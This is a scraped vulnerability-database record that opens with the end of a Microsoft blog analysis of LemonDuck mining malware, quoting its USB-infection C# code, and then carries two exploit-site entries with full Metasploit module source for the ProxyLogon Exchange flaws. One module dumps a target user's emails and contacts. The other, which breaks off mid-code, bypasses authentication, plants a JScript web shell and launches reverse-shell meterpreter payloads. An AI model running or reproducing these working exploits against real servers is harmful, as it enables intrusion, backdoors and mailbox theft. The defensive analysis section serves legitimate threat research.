of self-spreading is attempted on any affected device that has a mailbox, regardless of whether it is an Exchange server.\n\nOther common methods of infection include movement within the compromised environment, as well as through USB and connected drives. These processes are often kicked off automatically and have occurred consistently throughout the entirety of LemonDuck\u2019s operation.\n\nThese methods run as a series of C# scripts that gather available drives for infection. They also create a running list of drives that are already infected based on whether it finds the threat already installed. Once checked against the running list of infected drives, these scripts attempt to create a set of hidden files in the home directory, including a copy of _readme.js_. Any device that has been affected by the LemonDuck implants at any time could have had any number of drives attached to it that are compromised in this manner. This makes this behavior a possible entry vector for additional attacks.\n\n`DriveInfo[] drives = DriveInfo.GetDrives(); \nforeach (DriveInfo drive in drives) \n{ \nif (blacklist.Contains(drive.Name)) \n{ continue;} \nConsole.WriteLine(\"Detect drive:\"+drive.Name); \nif (IsSupported(drive)) \n{ \nif (!File.Exists(drive + home + inf_data)) \n{ \nConsole.WriteLine(\"Try to infect \"+drive.Name); \nif (CreateHomeDirectory(drive.Name) && Infect(drive.Name)) \n{ \nblacklist.Add(drive.Name); \n} \n} \nelse { \nConsole.WriteLine(drive.Name+\" already infected!\"); \nblacklist.Add(drive.Name); \n} \n} \nelse{ \nblacklist.Add(drive.Name);`\n\n## Comprehensive protection against a wide-ranging malware operation\n\nThe cross-domain visibility and coordinated defense delivered by [Microsoft 365 Defender](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>) is designed for the wide range and increasing sophistication of threats that LemonDuck exemplifies. Microsoft 365 Defender has AI-powered industry-leading protections that can stop multi-component threats like LemonDuck across domains and across platforms. Microsoft 365 Defender for Office 365 detects the malicious emails sent by the LemonDuck botnet to deliver malware payloads as well as spread the bot loader. Microsoft Defender for Endpoint detects and blocks LemonDuck implants, payloads, and malicious activity on Linux and Windows.\n\nMore importantly, Microsoft 365 Defender provides rich investigation tools that can expose detections of LemonDuck activity, including attempts to compromise and gain a foothold on the network, so security operations teams can efficiently and confidently respond to and resolve these attacks. Microsoft 365 Defender correlates cross-platform, cross-domain signals to paint the end-to-end attack chain, allowing organizations to see the full impact of an attack. We also published a threat analytics article on this threat. Microsoft 365 Defender customers can use this report to get important technical details, guidance for investigation, consolidated incidents, and steps to mitigate this threat in particular and modern cyberattacks in general.\n\nIn Part 2 of this blog series, we share our in-depth technical analysis of the malicious actions that follow a LemonDuck infection. These include general, automatic behavior as well as human-initialized behavior. We will also provide guidance for investigating LemonDuck attacks, as well as mitigation recommendations for strengthening defenses against these attacks. **READ: [When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>).**\n\n \n\n_Microsoft 365 Defender Threat Intelligence Team_\n\nThe post [When coin miners evolve, Part 1: Exposing LemonDuck and LemonCat, modern mining malware infrastructure](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-22T16:00:57", "type": "mmpc", "title": "When coin miners evolve, Part 1: Exposing LemonDuck and LemonCat, modern mining malware infrastructure", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0144", "CVE-2017-8464", "CVE-2019-0708", "CVE-2020-0796", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-07-22T16:00:57", "id": "MMPC:E537BA51663A720821A67D2A4F7F7F0E", "href": "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2021-11-09T12:40:16", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-21T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 - Unauthenticated Email Download Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-05-21T00:00:00", "id": "1337DAY-ID-36281", "href": "https://0day.today/exploit/description/36281", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)\n# Exploit Author: RAMELLA S\u00e9bastien\n# Vendor Homepage: https://microsoft.com\n# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n# Tested on: Microsoft Windows 2012 R2 - Exchange 2016\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# begin auxiliary class\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon Collector',\n 'Description' => %q{\n This module scan for a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication and impersonating as the\n admin (CVE-2021-26855).\n\n By chaining this bug with another post-auth arbitrary-file-write\n vulnerability to get code execution (CVE-2021-27065).\n\n As a result, an unauthenticated attacker can execute arbitrary commands on\n Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise)\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],\n ['URL', 'http://aka.ms/exchangevulns']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Notes' => {\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'The email account what you want dump']),\n OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),\n OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])\n ])\n\n register_advanced_options([\n OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])\n ])\n end\n\n XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze\n\n def grab_contacts\n response = send_xml(soap_findcontacts)\n xml = Nokogiri::XML.parse(response.body)\n\n data = xml.xpath('//t:Contact', XMLNS)\n if data.empty?\n print_status(' - the user has no contacts')\n else\n write_loot(data.to_s)\n end\n end\n\n def grab_emails(total_count)\n # get the emails list of the target folder.\n response = send_xml(soap_maillist(total_count))\n xml = Nokogiri::XML.parse(response.body)\n\n # iteration to download the emails.\n xml.xpath('//t:ItemId', XMLNS).each do |item|\n print_status(\" - download item: #{item.values[1]}\")\n response = send_xml(soap_download(item.values[0], item.values[1]))\n xml = Nokogiri::XML.parse(response.body)\n\n message = xml.at_xpath('//t:MimeContent', XMLNS).content\n write_loot(Rex::Text.decode_base64(message))\n end\n end\n\n def send_xml(data)\n uri = normalize_uri('ecp', 'temp.js')\n\n received = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => \"X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;\",\n 'ctype' => 'text/xml; charset=utf-8',\n 'data' => data\n )\n fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_download(id, change_key)\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetItem>\n <m:ItemShape>\n <t:BaseShape>IdOnly</t:BaseShape>\n <t:IncludeMimeContent>true</t:IncludeMimeContent>\n </m:ItemShape>\n <m:ItemIds>\n <t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" />\n </m:ItemIds>\n </m:GetItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_findcontacts\n <<~SOAP\n <?xml version='1.0' encoding='utf-8'?>\n <soap:Envelope\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n <soap:Body>\n <m:FindItem Traversal='Shallow'>\n <m:ItemShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:ItemShape>\n <m:IndexedPageItemView MaxEntriesReturned=\"#{datastore['MaxEntries']}\" Offset=\"0\" BasePoint=\"Beginning\" />\n <m:ParentFolderIds>\n <t:DistinguishedFolderId Id='contacts'>\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:ParentFolderIds>\n </m:FindItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_mailnum\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>Default</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"#{datastore['FOLDER']}\">\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_maillist(max_entries)\n <<~SOAP\n <?xml version='1.0' encoding='utf-8'?>\n <soap:Envelope\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n <soap:Body>\n <m:FindItem Traversal='Shallow'>\n <m:ItemShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:ItemShape>\n <m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" />\n <m:ParentFolderIds>\n <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:ParentFolderIds>\n </m:FindItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def write_loot(data)\n loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')\n print_good(\" - file saved to #{loot_path}\")\n end\n\n def run\n # get the informations about the targeted user account.\n response = send_xml(soap_mailnum)\n if response.body =~ /Success/\n print_status('Connection to the server is successful')\n print_status(\" - selected account: #{datastore['EMAIL']}\\n\")\n\n # grab contacts.\n print_status('Attempt to dump contacts list for this user')\n grab_contacts\n\n print_line\n\n # grab emails.\n print_status('Attempt to dump emails for this user')\n xml = Nokogiri::XML.parse(response.body)\n folder_id = xml.at_xpath('//t:FolderId', XMLNS).values\n print_status(\" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})\")\n\n total_count = xml.at_xpath('//t:TotalCount', XMLNS).content\n print_status(\" - number of email found: #{total_count}\")\n\n if total_count.to_i > datastore['MaxEntries']\n print_warning(\" - number of email recaluled due to max entries: #{datastore['MaxEntries']}\")\n total_count = datastore['MaxEntries'].to_s\n end\n grab_emails(total_count)\n end\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36281", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T00:28:34", "description": "This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 Versions less than 15.00.1497.012, Exchange 2016 CU18 less than 15.01.2106.013, Exchange 2016 CU19 less than 15.01.2176.009, Exchange 2019 CU7 less than 15.02.0721.013, and Exchange 2019 CU8 less than 15.02.0792.010. All components are vulnerable by default.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-23T00:00:00", "type": "zdt", "title": "Microsoft Exchange ProxyLogon Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-23T00:00:00", "id": "1337DAY-ID-36024", "href": "https://0day.today/exploit/description/36024", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::CheckModule\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication, impersonating as the\n admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)\n 'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)\n 'print(\"\")', # https://www.o2oxy.cn/3169.html\n 'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['CVE', '2021-27065'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'http://aka.ms/exchangevulns'],\n ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],\n [\n 'URL',\n 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'\n ],\n ['URL', 'https://www.o2oxy.cn/3169.html'],\n ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',\n 'HttpClientTimeout' => 60,\n 'RPORT' => 443,\n 'SSL' => true,\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])\n ])\n\n register_advanced_options([\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])\n ])\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def execute_command(cmd, _opts = {})\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @random_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@random_inputname}=#{cmd}\"\n )\n end\n\n def install_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n input_name = rand_text_alpha(4..8).to_s\n shell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\"\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n ExternalUrl: shell.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n input_name\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def patch_sid(sid)\n ar = sid.to_s.split('-')\n if ar[-1] != '500'\n sid = \"#{ar[0..6].join('-')}-500\"\n end\n\n sid\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def random_ssrf_id\n # https://en.wikipedia.org/wiki/2,147,483,647 (lol)\n # max. 2147483647\n rand(1941962752..2147483647)\n end\n\n def request_autodiscover(server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n \"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\",\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n [server, legacy_dn]\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(server_name, legacy_dn, server_id)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response.code == 200\n sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/\n\n sid = response.body.match(sid_regex).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def request_oab(server_name, sid, session, canary)\n data = {\n filter: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n SelectedView: '',\n SelectedVDirType: 'OAB'\n }\n },\n sort: {}\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: session,\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n\n if response.code == 200\n data = JSON.parse(response.body)\n data['d']['Output'].each do |oab|\n if oab['Server'].downcase == server_name.downcase\n return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]\n end\n end\n end\n\n []\n end\n\n def request_proxylogon(server_name, sid)\n data = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\"\n session_id = ''\n canary = ''\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'text/xml; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n if response.code == 241\n session_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\n canary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ...\n end\n\n [session_id, canary]\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end\n\n # post-auth arbitrary file write.\n def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Prepare the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Write the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 